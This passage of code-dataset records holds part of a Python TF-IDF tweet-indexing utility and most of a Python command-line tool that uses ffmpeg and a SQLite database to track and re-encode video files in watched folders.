same order as in the main index)\n df = defaultdict(int) # document frequencies of terms in the corpus\n idf = defaultdict(float)\n\n for tweet_id, tweet in enumerate(tweets):\n\n text = tweet[\"full_text\"]\n\n terms = build_terms(text)\n\n ## ===============================================================\n ## create the index for the **current page** and store it in current_page_index\n ## current_page_index ==> { ‘term1’: [current_doc, [list of positions]], ...,‘term_n’: [current_doc, [list of positions]]}\n\n ## Example: if the curr_doc has id 1 and his text is\n ##\"web retrieval information retrieval\":\n\n ## current_page_index ==> { ‘web’: [1, [0]], ‘retrieval’: [1, [1,4]], ‘information’: [1, [2]]}\n\n ## the term ‘web’ appears in document 1 in positions 0,\n ## the term ‘retrieval’ appears in document 1 in positions 1 and 4\n ## ===============================================================\n\n current_page_index = {}\n\n for position, term in enumerate(terms): ## terms contains page_title + page_text\n try:\n # if the term is already in the dict append the position to the corresponding list\n current_page_index[term][1].append(position)\n except:\n # Add the new term as dict key and initialize the array of positions and add the position\n current_page_index[term] = [tweet_id,\n array('I', [position])] # 'I' indicates unsigned int (int in Python)\n\n # normalize term frequencies\n # Compute the denominator to normalize term frequencies (formula 2 above)\n # norm is the same for all terms of a document.\n norm = 0\n for term, posting in current_page_index.items():\n # posting will contain the list of positions for current term in current document.\n # posting ==> [current_doc, [list of positions]]\n # you can use it to infer the frequency of current term.\n norm += len(posting[1]) ** 2\n norm = math.sqrt(norm)\n\n # calculate the tf(dividing the term frequency by the above computed norm) and df weights\n for term, posting in current_page_index.items():\n # append the tf for current term (tf = term frequency in current doc/norm)\n tf[term].append(np.round(len(posting[1]) / norm, 4)) ## SEE formula (1) above\n # increment the document frequency of current term (number of documents containing the current term)\n df[term] += 1 # increment DF for current term\n\n # merge the current page index with the main index\n for term, positions in current_page_index.items():\n index[term].append(positions)\n\n # Compute IDF following the formula (3) above. HINT: use np.log\n for term in df:\n idf[term] = np.round(np.log(float(num_tweets / df[term])), 4)\n\n return index, tf, idf\n\n\ndef load_documents_corpus():\n \"\"\"\n Load documents corpus from dataset_tweets_WHO.txt file\n :return: tf-idf index (including tf df and idf scores)\n \"\"\"\n\n ##### demo replace ith your code here #####\n docs_path = 'dataset_tweets_WHO.txt'\n\n dictionary = []\n with open(docs_path) as fp:\n tweets = json.loads(fp.read())\n\n num_documents = len(tweets)\n index, tf, idf = create_index_tfidf(tweets.values(), num_documents)\n return tweets, index, tf, idf\n\ndef parseTweet(tweet,tweet_id,ranking):\n \"\"\"\n Function to parse a tweet to a DocumentInfo object\n \"\"\"\n text = tweet[\"full_text\"]\n username = tweet[\"user\"][\"name\"]\n date = tweet[\"created_at\"]\n hashtags = tweet[\"entities\"][\"hashtags\"]\n favs = tweet[\"favorite_count\"]\n retweets = tweet[\"retweet_count\"]\n url = \"https://twitter.com/\" + tweet[\"user\"][\"screen_name\"] + \"/status/\" + tweet[\"id_str\"]\n return DocumentInfo(tweet_id, text, username, date, hashtags, favs, retweets, url, ranking)\n\nclass DocumentInfo:\n \"\"\"\n DocumentInfo class, to store tweet relevant information\n \"\"\"\n def __init__(self, id, text, username, date, hashtags, favs, retweets, url, ranking):\n self.id = str(id)\n self.username = username\n self.title = username+\": \" + text[:20] + \"...\"\n self.description = text\n self.doc_date = date\n self.url = url\n self.ranking = str(ranking)\n self.favs = favs\n self.retweets = retweets\n self.hashtags = hashtags","repo_name":"krakgma2000/IRWA-2021-final-project-team2-final","sub_path":"app/core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13257930151","text":"current_repository_version = 3\n\n# Define initial default values for process command with options\n# Use unique number to indicate the specific options\n# With this id, the defaults can be overwritting be folder definition\ndefault_options = [\n ( 0, \"ffmpeg\"), # program to be executed\n ( 10, \"-i\"),\n ( 11, \"INPUTFILE\"), # is an implicit term to be replaced with input file\n ( 20, \"-map\"),\n ( 21, \"0\"),\n ( 30, \"-c\"),\n ( 31, \"copy\"), # standard operation is to copy streams\n ( 40, \"-c:v\"),\n ( 41, \"libx265\"), # but reencode video stream as HEVC\n ( 50, \"-crf\"),\n ( 51, \"20\"), # high quality\n ( 60, \"-dn\"), # issues in ffmpeg with data streams => ignore them\n (999, \"OUTPUTFILE\") # is an implicit term to be replaced with output file\n]\n\n# Define initial default values for application\ndefault_application_options = {\"target_extension\": \"mkv\"}\n\n\nimport os\nimport sys\nfrom datetime import date, datetime\nimport time\nimport sqlite3\nimport argparse\nimport subprocess\n\nparser = argparse.ArgumentParser(description='Reencode video files with '\n 'certain options')\nsubparsers = parser.add_subparsers(help='sub-command help', dest='command')\nparser_conf = subparsers.add_parser('config', aliases=['c', 'conf',\n 'configure'],\n help='Add or modify configuration')\nparser_conf_group1 = parser_conf.add_mutually_exclusive_group()\nparser_conf.add_argument('-c', '--current-folder', action='store_true',\n help='Add current folder to watch list')\nparser_conf.add_argument('-l', '--folder-list', metavar='folder',\n action='store', nargs=\"+\",\n help='Provide folder list')\nparser_conf_group1.add_argument('-f', '--add-folder', action='store_true',\n help='Add folder(s) to watch list based on '\n 'provided options')\nparser_conf_group1.add_argument('-F', '--delete-folder', action='store_true',\n help='Delete folder(s) from watch list based '\n 'on provided options')\nparser_conf.add_argument('-o', '--add-option-folder', metavar='option_folder',\n action='store', nargs=\"+\",\n help='Add option(s) to the provided folder(s). '\n 'Use \"id:value\" and align it to default options')\nparser_conf.add_argument('-O', '--delete-option-folder',\n metavar='option_folder', action='store', nargs=\"+\",\n help='Delete option(s) by id from the provided '\n 'folder(s)')\nparser_conf.add_argument('-d', '--add-default-option',\n metavar='default_option', action='store', nargs=\"+\",\n help='Add default option(s) for all executions. '\n 'Use \"id:value\" and align it to existing options')\nparser_conf.add_argument('-D', '--delete-default-option',\n metavar='default_option', action='store', nargs=\"+\",\n help='Delete default option(s) from all executions')\nparser_conf.add_argument('-i', '--add-ignore-extension-folder',\n metavar='ignore_extension', action='store', nargs=\"+\",\n help='Add extenstion(s) to ignore to all provided '\n 'folder(s)')\nparser_conf.add_argument('-I', '--delete-ignore-extension-folder',\n metavar='ignore_extension', action='store', nargs=\"+\",\n help='Delete extenstion(s) to ignore from all '\n 'provided folder(s)')\nparser_conf.add_argument('-a', '--add-extension-as-done', metavar='extension',\n action='store', nargs=\"+\",\n help='Add files found in folder(s) filtered by '\n 'extension(s) as processed')\nparser_conf.add_argument('-p', '--add-file-as-done', metavar='videofile',\n action='store', nargs=\"+\",\n help='Add files found in folder(s) filtered by '\n 'extension(s) as processed')\nparser_conf.add_argument('-r', '--folder-recursive', action='store_true',\n help='If new folder, define the as recursive')\nparser_exec = subparsers.add_parser('execute', aliases=['execute', 'exec', 'e',\n 'run', 'r'],\n help='Run optimization process')\nparser_exec.add_argument('Video_files', metavar='videofile', nargs=\"*\",\n help='File name to optimize video')\nparser_stat = subparsers.add_parser('statistics', aliases=['stats', 'stat',\n 's'],\n help='Show statistics and analyse '\n 'repository')\nparser_clean = subparsers.add_parser('cleanup', aliases=['cleanup', 'clean',\n 'u'],\n help='Cleanup and sync database with files')\nargs = parser.parse_args()\n\n\nMyName = os.path.basename(__file__)\nif MyName.endswith(\".py\"):\n MyName = MyName[:-3]\n\nhomepath = os.getenv('HOME')\ndatabasename = os.path.join(homepath, \".\" + MyName + \".db\")\n\n\ndef InitializeDatabase(databasename):\n \"\"\"\n Repository database does not exist, add new one and create tables\n Also populate some tables with initial values\n \"\"\"\n\n print(\"This is the first start of {} => \"\n \"Initializing database\".format(MyName))\n print(\"Please read the documentation on github about changing \"\n \"configuration\")\n print(\"\")\n\n conn = sqlite3.connect(databasename)\n c = conn.cursor()\n\n c.execute(\"CREATE TABLE repository_version (\"\n \"version_number UNSIGNED INTEGER NOT NULL PRIMARY KEY)\")\n c.execute(\"CREATE TRIGGER NMR_repository_version BEFORE INSERT \"\n \"ON repository_version WHEN (SELECT COUNT(*) \"\n \"FROM repository_version) >= 1 BEGIN \"\n \"SELECT RAISE(FAIL, 'Only one row allowed!'); END\")\n c.execute(\"CREATE TABLE watch_folder (\"\n \"watch_folder_id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, \"\n \"watch_folder_name TEXT NOT NULL, \"\n \"recursive_yn UNSIGNED TINYINT NOT NULL DEFAULT 0 \"\n \"CHECK(recursive_yn in (0, 1)))\")\n c.execute(\"CREATE TABLE real_folder (\"\n \"real_folder_id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, \"\n \"watch_folder_id INTEGER NOT NULL REFERENCES watch_folder \"\n \"(watch_folder_id) ON DELETE CASCADE ON UPDATE CASCADE, \"\n \"real_folder_name TEXT NOT NULL UNIQUE)\")\n c.execute(\"CREATE TABLE folder_ignore_extension (\"\n \"watch_folder_id INTEGER NOT NULL REFERENCES watch_folder \"\n \"(watch_folder_id) ON DELETE CASCADE ON UPDATE CASCADE, \"\n \"ignore_extension TEXT NOT NULL, \"\n \"PRIMARY KEY (watch_folder_id, ignore_extension))\")\n c.execute(\"CREATE TABLE folder_optimize_file (\"\n \"real_folder_id INTEGER NOT NULL REFERENCES real_folder \"\n \"(real_folder_id) ON DELETE CASCADE ON UPDATE CASCADE, \"\n \"file_name TEXT NOT NULL, original_extension TEXT NOT NULL, \"\n \"original_size UNSIGNED BIGINT NOT NULL, \"\n \"original_file_date TEXT NOT NULL, \"\n \"original_first_seen_at TEXT NOT NULL, \"\n \"optimization_started_at TEXT, optimized_extension TEXT, \"\n \"optimized_size UNSIGNED BIGINT, optimized_file_date TEXT, \"\n \"runtime_seconds INTEGER, file_status TINYINT NOT NULL, \"\n \"PRIMARY KEY (real_folder_id, file_name))\")\n c.execute(\"CREATE TABLE folder_option (\"\n \"watch_folder_id INTEGER NOT NULL REFERENCES watch_folder \"\n \"(watch_folder_id) ON DELETE CASCADE ON UPDATE CASCADE, \"\n \"folder_option_id INTEGER NOT NULL, \"\n \"folder_option TEXT, \"\n \"PRIMARY KEY (watch_folder_id, folder_option_id))\")\n c.execute(\"CREATE TABLE default_option (\"\n \"default_option_id INTEGER NOT NULL PRIMARY KEY, \"\n \"default_option TEXT NOT NULL)\")\n c.execute(\"CREATE TABLE current_running (\"\n \"started_at TEXT NOT NULL PRIMARY KEY, \"\n \"pid UNSIGNED INTEGER NOT NULL)\")\n c.execute(\"CREATE TABLE activity_log (\"\n \"log_ts TEXT NOT NULL, \"\n \"activity_text TEXT NOT NULL)\")\n c.execute(\"CREATE TABLE message (message_text TEXT NOT NULL PRIMARY KEY)\")\n c.execute(\"CREATE TRIGGER NMR_message BEFORE INSERT ON message \"\n \"WHEN (SELECT COUNT(*) FROM message) >= 1 BEGIN \"\n \"SELECT RAISE(FAIL, 'Only one row allowed!'); END\")\n c.execute(\"CREATE TABLE application_option (\"\n \"option_key TEXT NOT NULL PRIMARY KEY, \"\n \"option_value TEXT NOT NULL)\")\n c.execute(\"INSERT INTO repository_version (version_number) \"\n \"VALUES (?)\", [current_repository_version, ])\n c.executemany(\"INSERT INTO default_option VALUES (?, ?)\",\n default_options)\n for Option in default_options:\n print(\"Added default option \\\"{}\\\" with value \\\"{}\\\"\"\n .format(Option[0], Option[1]))\n for key, value in default_application_options.items():\n c.execute(\"INSERT INTO application_option VALUES (?, ?)\", (key, value))\n print(\"Added application option \\\"{}\\\" = \\\"{}\\\"\".format(key, value))\n\n conn.commit()\n conn.close()\n\n\ndef checkWatchFolderExists(conn, checkFolder):\n \"\"\"\n Check if watch folder or subtree already exists as watch folder or\n in tree (return true or false)\n \"\"\"\n\n c = conn.cursor()\n\n folderFound = False\n\n if args.folder_recursive:\n c.execute(\"SELECT COUNT(*) FROM watch_folder \"\n \"WHERE watch_folder_name like ?\", [checkFolder + '%'])\n\n if c.fetchone()[0]:\n print(\"Subfolder of \\\"{}\\\" is already in watch list\"\n .format(checkFolder))\n folderFound = True\n\n while checkFolder:\n checkFolder = os.path.split(checkFolder)[0]\n c.execute(\"SELECT COUNT(*) FROM watch_folder \"\n \"WHERE watch_folder_name = ? \"\n \"AND recursive_yn = 1\", [checkFolder])\n if not c.fetchone():\n print(\"Folder \\\"{}\\\" is part of other folder already \"\n \"in watch list\".format(checkFolder))\n checkFolder = False\n folderFound = True\n else:\n checkFolder, tail = os.path.split(checkFolder)\n if not tail:\n checkFolder = False\n\n c.close()\n\n return(folderFound)\n\n\ndef deleteWatchFolder(conn, thisFolder):\n \"\"\"\n Check if watch folder exists and delete if\n With enabled foreign keys, all subsidiary will be deleted as well\n \"\"\"\n\n c = conn.cursor()\n\n c.execute(\"SELECT COUNT(*) FROM watch_folder \"\n \"WHERE watch_folder_name = ?\", [thisFolder])\n if c.fetchone()[0] != 1:\n print(\"Folder \\\"{}\\\" is not not in watch list\".format(thisFolder))\n else:\n c.execute(\"DELETE FROM watch_folder \"\n \"WHERE watch_folder_name = ?\", [thisFolder])\n print(\"Deleted folder \\\"{}\\\" from watch list including all \"\n \"related data\".format(thisFolder))\n writeActivityLog(conn, \"Deleted folder \\\"{}\\\" from watch list \"\n \"including all related data\".format(thisFolder))\n\n c.close()\n\n\ndef insertNewWatchFolder(conn, thisFolder):\n \"\"\"\n Check if given watch folder already exists and insert if not\n \"\"\"\n\n c = conn.cursor()\n\n c.execute(\"SELECT COUNT(*) FROM watch_folder \"\n \"WHERE watch_folder_name = ?\", [thisFolder])\n if c.fetchone()[0] > 0:\n print(\"Folder \\\"{}\\\" is already in watch list\"\n .format(thisFolder))\n elif checkWatchFolderExists(conn, thisFolder):\n pass\n else:\n if args.folder_recursive:\n recursiveYN = 1\n else:\n recursiveYN = 0\n c.execute(\"INSERT INTO watch_folder (watch_folder_name, recursive_yn) \"\n \"VALUES (?, ?)\",\n [thisFolder, recursiveYN])\n currentRowId = c.lastrowid\n print(\"Added folder \\\"{}\\\" to watch list\".format(thisFolder))\n writeActivityLog(conn, \"Added folder \\\"{}\\\" to watch list\"\n .format(thisFolder))\n # Always add extension \"log\" to new folder automatically\n c.execute(\"INSERT INTO folder_ignore_extension (\"\n \"watch_folder_id, ignore_extension) VALUES (?, ?)\",\n [currentRowId, \"log\"])\n print(\"Added ignore extension \\\"{}\\\" to folder \\\"{}\\\"\"\n .format(\"log\", thisFolder))\n writeActivityLog(conn, \"Added ignore extension \\\"log\\\" to folder \"\n \"\\\"{}\\\"\".format(thisFolder))\n\n c.close()\n\n\ndef deleteIgnoreExtension(conn, thisFolder, Ext):\n \"\"\"\n Check if ignore extension exists for given folder and delete if\n \"\"\"\n\n c = conn.cursor()\n\n c.execute(\"SELECT 1 FROM watch_folder AS a \"\n \"JOIN folder_ignore_extension AS b \"\n \"ON a.watch_folder_id = b.watch_folder_id \"\n \"WHERE a.watch_folder_name = ? \"\n \"AND b.ignore_extension = ? \", [thisFolder, Ext])\n if c.fetchone():\n c.execute(\"DELETE FROM folder_ignore_extension \"\n \"WHERE watch_folder_id = (\"\n \"SELECT watch_folder_id \"\n \"FROM watch_folder WHERE watch_folder_name = ?) \"\n \"and ignore_extension = ?\", [thisFolder, Ext])\n print(\"Deleted ignore extension \\\"{}\\\" from \"\n \"folder \\\"{}\\\"\".format(Ext, thisFolder))\n writeActivityLog(conn, \"Deleted ignore extension \\\"{}\\\" from \"\n \"folder \\\"{}\\\"\".format(Ext, thisFolder))\n else:\n print(\"Ignore extension \\\"{}\\\" already exists for \"\n \"folder \\\"{}\\\"\".format(Ext, thisFolder))\n\n c.close()\n\n\ndef insertNewIgnoreExtension(conn, thisFolder, Ext):\n \"\"\"\n Check if given ignore extension in watch folder already exists and\n insert if not\n \"\"\"\n\n c = conn.cursor()\n\n c.execute(\"SELECT 1 FROM watch_folder AS a \"\n \"JOIN folder_ignore_extension AS b \"\n \"ON a.watch_folder_id = b.watch_folder_id \"\n \"WHERE a.watch_folder_name = ? \"\n \"AND b.ignore_extension = ? \", [thisFolder, Ext])\n if not c.fetchone():\n c.execute(\"INSERT INTO folder_ignore_extension (\"\n \"watch_folder_id, ignore_extension) \"\n \"SELECT watch_folder_id, ? \"\n \"FROM watch_folder \"\n \"WHERE watch_folder_name = ?\", [Ext, thisFolder])\n print(\"Added ignore extension \\\"{}\\\" to \"\n \"folder \\\"{}\\\"\".format(Ext, thisFolder))\n writeActivityLog(conn, \"Added ignore extension \\\"{}\\\" to \"\n \"folder \\\"{}\\\"\".format(Ext, thisFolder))\n else:\n print(\"Ignore extension \\\"{}\\\" already exists for \"\n \"folder \\\"{}\\\"\".format(Ext, thisFolder))\n\n c.close()\n\n\ndef deleteDefaultOption(conn, Option):\n \"\"\"\n Check if default option exists and delete\n \"\"\"\n\n c = conn.cursor()\n\n if \":\" in Option:\n thisOptionId, thisOption = Option.split(\":\")\n else:\n thisOptionId = Option\n thisOption = \"\"\n\n c.execute(\"SELECT 1 FROM default_option \"\n \"WHERE default_option_id = ? \", [thisOptionId])\n if c.fetchone():\n c.execute(\"DELETE FROM default_option \"\n \"WHERE default_option_id = ?\", [thisOptionId])\n print(\"Deleted default option \\\"{}\\\"\".format(thisOptionId))\n writeActivityLog(conn, \"Deleted default option \\\"{}\\\"\"\n .format(thisOptionId))\n else:\n print(\"Default option \\\"{}\\\" does not exist\".format(thisOptionId))\n\n c.close()\n\n\ndef insertNewDefaultOption(conn, Option):\n \"\"\"\n Check if default option already exists and insert if not\n \"\"\"\n\n c = conn.cursor()\n\n thisOptionId = False\n\n if \":\" in Option:\n thisOptionId, thisOption = Option.split(\":\")\n if not thisOption:\n unset(thisOptionId)\n print(\"Error, default option \\\"{}\\\" must have a value\"\n .format(Option))\n else:\n print(\"Error, default option \\\"{}\\\" must have a value\".format(Option))\n\n if thisOptionId:\n c.execute(\"SELECT 1 FROM default_option \"\n \"WHERE default_option_id = ? \", [thisOptionId])\n if not c.fetchone():\n c.execute(\"INSERT INTO default_option (\"\n \"default_option_id, default_option) \"\n \"VALUES (?, ?)\",\n [thisOptionId, thisOption])\n print(\"Added default option \\\"{}\\\" with value \"\n \"\\\"{}\\\"\".format(thisOptionId, thisOption))\n writeActivityLog(conn, \"Added default option \\\"{}\\\" with value \"\n \"\\\"{}\\\"\".format(thisOptionId, thisOption))\n else:\n c.execute(\"UPDATE default_option \"\n \"SET default_option = ?\"\n \"WHERE default_option_id = ?\",\n [thisOption, thisOptionId])\n print(\"Default option \\\"{}\\\" changed to value \\\"{}\\\"\"\n .format(thisOptionId, thisOption))\n writeActivityLog(conn, \"Default option \\\"{}\\\" changed to value \"\n \"\\\"{}\\\"\".format(thisOptionId, thisOption))\n\n c.close()\n\n\ndef deleteFolderOption(conn, thisFolder, Option):\n \"\"\"\n Check if folder option exists for given folder and delete\n \"\"\"\n\n c = conn.cursor()\n\n thisFolderId = GetWatchFolderId(conn, thisFolder)\n\n if \":\" in Option:\n thisOptionId, thisOption = Option.split(\":\")\n else:\n thisOptionId = Option\n thisOption = \"\"\n\n c.execute(\"SELECT 1 FROM folder_option \"\n \"WHERE watch_folder_id = ? \"\n \"AND folder_option_id = ? \", [thisFolderId, thisOptionId])\n if c.fetchone():\n c.execute(\"DELETE FROM folder_option \"\n \"WHERE watch_folder_id = ? \"\n \"AND folder_option_id = ?\", [thisFolderId, thisOptionId])\n print(\"Deleted option \\\"{}\\\" from \"\n \"folder \\\"{}\\\"\".format(thisOptionId, thisFolder))\n writeActivityLog(conn, \"Deleted option \\\"{}\\\" from \"\n \"folder \\\"{}\\\"\".format(thisOptionId, thisFolder))\n else:\n print(\"Folder option \\\"{}\\\" does not exist for \"\n \"folder \\\"{}\\\"\".format(thisOptionId, thisFolder))\n\n c.close()\n\n\ndef insertNewFolderOption(conn, thisFolder, Option):\n \"\"\"\n Check if given folder option in watch folder already exists and\n insert if not\n \"\"\"\n\n c = conn.cursor()\n\n thisFolderId = GetWatchFolderId(conn, thisFolder)\n\n if \":\" in Option:\n thisOptionId, thisOption = Option.split(\":\")\n else:\n thisOptionId = Option\n thisOption = \"\"\n\n if thisOptionId and thisOption:\n c.execute(\"SELECT 1 FROM folder_option \"\n \"WHERE watch_folder_id = ? \"\n \"AND folder_option_id = ? \", [thisFolderId, thisOptionId])\n if not c.fetchone():\n c.execute(\"INSERT INTO folder_option (watch_folder_id, \"\n \"folder_option_id, folder_option) \"\n \"VALUES (?, ?, ?)\",\n [thisFolderId, thisOptionId, thisOption])\n print(\"Added option \\\"{}\\\" with value \\\"{}\\\" to \"\n \"folder \\\"{}\\\"\".format(thisOptionId, thisOption, thisFolder))\n writeActivityLog(conn, \"Added option \\\"{}\\\" with value \\\"{}\\\" to \"\n \"folder \\\"{}\\\"\"\n .format(thisOptionId, thisOption, thisFolder))\n else:\n c.execute(\"UPDATE folder_option \"\n \"SET folder_option = ?\"\n \"WHERE watch_folder_id = ? AND folder_option_id = ?\",\n [thisOption, thisFolderId, thisOptionId])\n print(\"Folder option \\\"{}\\\" replaced with value \\\"{}\\\" for \"\n \"folder \\\"{}\\\"\".format(thisOptionId, thisOption, thisFolder))\n writeActivityLog(conn, \"Folder option \\\"{}\\\" replaced with value \"\n \"\\\"{}\\\" for folder \\\"{}\\\"\"\n .format(thisOptionId, thisOption, thisFolder))\n elif thisOptionId and not thisOption:\n c.execute(\"SELECT 1 FROM folder_option \"\n \"WHERE watch_folder_id = ? \"\n \"AND folder_option_id = ? \", [thisFolderId, thisOptionId])\n if not c.fetchone():\n c.execute(\"INSERT INTO folder_option (watch_folder_id, \"\n \"folder_option_id) \"\n \"VALUES (?, ?)\",\n [thisFolderId, thisOptionId])\n print(\"Added option \\\"{}\\\" with no value to \"\n \"folder \\\"{}\\\"\".format(thisOptionId, thisFolder))\n writeActivityLog(conn, \"Added option \\\"{}\\\" with no value to \"\n \"folder \\\"{}\\\"\".format(thisOptionId, thisFolder))\n else:\n c.execute(\"UPDATE folder_option \"\n \"SET folder_option = NULL \"\n \"WHERE watch_folder_id = ? AND folder_option_id = ?\",\n [thisFolderId, thisOptionId])\n print(\"Folder option \\\"{}\\\" unset for \"\n \"folder \\\"{}\\\"\".format(thisOptionId, thisFolder))\n writeActivityLog(conn, \"Folder option \\\"{}\\\" unset for \"\n \"folder \\\"{}\\\"\".format(thisOptionId, thisFolder))\n\n c.close()\n\n\ndef markFileAsDone(conn, real_folder_id, thisFolder, File):\n \"\"\"\n Check if file already exists, then update to done else\n insert new record\n \"\"\"\n\n c = conn.cursor()\n\n if (File.split(\".\")[-1] in args.add_extension_as_done\n and not File.startswith(\".\")):\n absolutFile = os.path.join(thisFolder, File)\n fileName = os.path.splitext(File)[0]\n fileExt = os.path.splitext(File)[1][1:]\n fileSize = os.path.getsize(absolutFile)\n fileDate = datetime.fromtimestamp(os.path.getmtime(absolutFile)).strftime(\"%Y-%m-%d %H:%M:%S\")\n\n c.execute(\"SELECT 1, file_status \"\n \"FROM folder_optimize_file \"\n \"WHERE real_folder_id = ? AND file_name = ? \",\n [real_folder_id, fileName])\n get = c.fetchone()\n if not get:\n c.execute(\"INSERT INTO folder_optimize_file (\"\n \"real_folder_id, file_name, \"\n \"original_extension, original_size, original_file_date, \"\n \"original_first_seen_at, \"\n \"optimization_started_at, \"\n \"optimized_extension, optimized_size, \"\n \"optimized_file_date, runtime_seconds, file_status) \"\n \"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n [real_folder_id, fileName, fileExt, fileSize, fileDate,\n datetime.now(), datetime.now(), fileExt, fileSize,\n fileDate, -1, 1])\n print(\"Added file \\\"{}\\\" to folder \\\"{}\\\" as done\"\n .format(File, thisFolder))\n writeActivityLog(conn, \"Added file \\\"{}\\\" to folder \\\"{}\\\" as done\"\n .format(File, thisFolder))\n elif get[0] == 1 and get[1] == 0:\n c.execute(\"UPDATE folder_optimize_file \"\n \"SET optimization_started_at = ?,\"\n \"optimized_extension = ?,\"\n \"optimized_size = ?, optimized_file_date = ?, \"\n \"runtime_seconds = ?, file_status = ? \"\n \"WHERE real_folder_id = ? \"\n \"AND file_name = ?\",\n [datetime.now(), fileExt, fileSize, fileDate, -1, 1,\n real_folder_id, fileName])\n print(\"File \\\"{}\\\" in folder \\\"{}\\\" changed to \"\n \"optimized\".format(File, thisFolder))\n writeActivityLog(conn, \"File \\\"{}\\\" in folder \\\"{}\\\" changed to \"\n \"optimized\".format(File, thisFolder))\n else:\n print(\"File \\\"{}\\\" in folder \\\"{}\\\" already optimized\"\n .format(File, thisFolder))\n\n c.close()\n\n\ndef Configuration(databasename):\n \"\"\"\n Manipulate configuration directly in database file.\n \"\"\"\n\n conn = openDatabase(databasename)\n\n folderlist = []\n\n if args.folder_list:\n folderlist = args.folder_list\n if args.current_folder == True:\n folderlist.append(os.path.abspath(os.path.curdir))\n elif args.current_folder:\n folderlist.append(os.path.abspath(os.path.curdir))\n\n # Delete watch folder\n if folderlist and args.delete_folder == True:\n for thisFolder in folderlist:\n deleteWatchFolder(conn, thisFolder)\n\n # Add folder(s) to watch list\n if folderlist and args.add_folder == True:\n for thisFolder in folderlist:\n insertNewWatchFolder(conn, thisFolder)\n\n # Delete ignore extension(s) from watch folders\n if (folderlist and args.delete_ignore_extension_folder\n and args.delete_folder == False):\n for thisFolder in folderlist:\n for Ext in args.delete_ignore_extension_folder:\n deleteIgnoreExtension(conn, thisFolder, Ext)\n\n # Insert new extension(s) to ignore from watch folder\n if (folderlist and args.add_ignore_extension_folder\n and args.delete_folder == False):\n for thisFolder in folderlist:\n for Ext in args.add_ignore_extension_folder:\n insertNewIgnoreExtension(conn, thisFolder, Ext)\n\n # Delete default option(s)\n if (args.delete_default_option):\n for Option in args.delete_default_option:\n deleteDefaultOption(conn, Option)\n\n # insert default option(s)\n if args.add_default_option:\n for Option in args.add_default_option:\n insertNewDefaultOption(conn, Option)\n\n # Delete option(s) from watch folder\n if (folderlist and args.delete_option_folder\n and args.delete_folder == False):\n for thisFolder in folderlist:\n for Option in args.delete_option_folder:\n deleteFolderOption(conn, thisFolder, Option)\n\n # insert option(s) to watch folder\n if folderlist and args.add_option_folder and args.delete_folder == False:\n for thisFolder in folderlist:\n for Option in args.add_option_folder:\n insertNewFolderOption(conn, thisFolder, Option)\n\n # Find files and mark them based on extension as done\n if args.add_extension_as_done:\n c = conn.cursor()\n foli = {}\n if folderlist:\n for row in c.execute(\"SELECT real_folder_id, real_folder_name \"\n \"FROM real_folder\"):\n if row[1] in folderlist:\n foli[row[1]] = row[0]\n else:\n for row in c.execute(\"SELECT real_folder_id, real_folder_name \"\n \"FROM real_folder\"):\n foli[row[1]] = row[0]\n\n for thisFolder in foli.keys():\n for File in os.listdir(thisFolder):\n markFileAsDone(conn, foli[thisFolder], thisFolder, File)\n\n conn.close()\n\n\ndef GetWatchFolderId(conn, folderName):\n \"\"\"\n Search for foldername and return id of watch folder\n \"\"\"\n\n c = conn.cursor()\n\n c.execute(\"SELECT watch_folder_id FROM watch_folder \"\n \"WHERE watch_folder_name = ?\",\n [folderName])\n\n c.close()\n\n return(c.fetchone()[0])\n\n\ndef InsertNewRealFolder(conn, watchFolderId, folderName):\n \"\"\"\n Check if folder already exists and insert if not\n \"\"\"\n\n c = conn.cursor()\n\n c.execute(\"SELECT 1 FROM real_folder \"\n \"WHERE watch_folder_id = ? AND real_folder_name = ?\",\n [watchFolderId, folderName])\n if not c.fetchone():\n c.execute(\"INSERT INTO real_folder (\"\n \"watch_folder_id, real_folder_name) \"\n \"VALUES (?, ?)\",\n [watchFolderId, folderName])\n conn.commit()\n\n c.close()\n\n\ndef IdentifyNewRealFolders(conn):\n \"\"\"\n Based on watch folders generate list of real folders\n \"\"\"\n\n c = conn.cursor()\n\n c.execute(\"SELECT watch_folder_id, watch_folder_name, \"\n \"recursive_yn FROM watch_folder\")\n watchFolders = c.fetchall()\n for row in watchFolders:\n if not os.path.exists(row[1]):\n continue\n\n if row[2] == 0:\n InsertNewRealFolder(conn, row[0], row[1])\n elif row[2] == 1:\n for root, dirs, files in os.walk(row[1]):\n InsertNewRealFolder(conn, row[0], root)\n\n c.close()\n\n\ndef IdentifyNewFiles(databasename):\n \"\"\"\n Check in registered folders for new arrived files and add them to\n repository database.\n \"\"\"\n\n conn = openDatabase(databasename)\n c = conn.cursor()\n c.execute(\"PRAGMA FOREIGN_KEYS = ON\")\n\n writeActivityLog(conn, \"Started IdentifyNewFiles\")\n\n conn.commit()\n\n # First, check if new folders have been created below our watch folders\n IdentifyNewRealFolders(conn)\n\n c.execute(\"SELECT real_folder_id, watch_folder_id, real_folder_name \"\n \"FROM real_folder\")\n\n watchFolders = c.fetchall()\n\n for thisRealFolderId, thisWatchFolderId, thisRealFolderName in watchFolders:\n ignoreExtensions = []\n\n if not os.path.exists(thisRealFolderName):\n continue\n\n for row2 in c.execute(\"SELECT ignore_extension \"\n \"FROM folder_ignore_extension \"\n \"WHERE watch_folder_id = ?\",\n [thisWatchFolderId, ]):\n ignoreExtensions.append(row2[0])\n\n for File in os.listdir(thisRealFolderName):\n absolutFile = os.path.join(thisRealFolderName, File)\n\n if (os.path.splitext(File)[1][1:] not in ignoreExtensions\n and not File.startswith(\".\")\n and os.path.isfile(absolutFile)):\n c.execute(\"SELECT 1 FROM folder_optimize_file \"\n \"WHERE real_folder_id = ? AND file_name = ?\",\n [thisRealFolderId, os.path.splitext(File)[0]])\n if not c.fetchone():\n fileSize = os.path.getsize(absolutFile)\n fileDate = datetime.fromtimestamp(os.path.getmtime(absolutFile)).strftime(\"%Y-%m-%d %H:%M:%S\")\n try:\n c.execute(\"INSERT INTO folder_optimize_file (\"\n \"real_folder_id, file_name, \"\n \"original_extension, \"\n \"original_first_seen_at, original_size, \"\n \"original_file_date, file_status) \"\n \"VALUES (?, ?, ?, ?, ?, ?, ?)\",\n [thisRealFolderId, os.path.splitext(File)[0],\n os.path.splitext(File)[1][1:],\n datetime.now(),\n fileSize, fileDate, 0])\n except 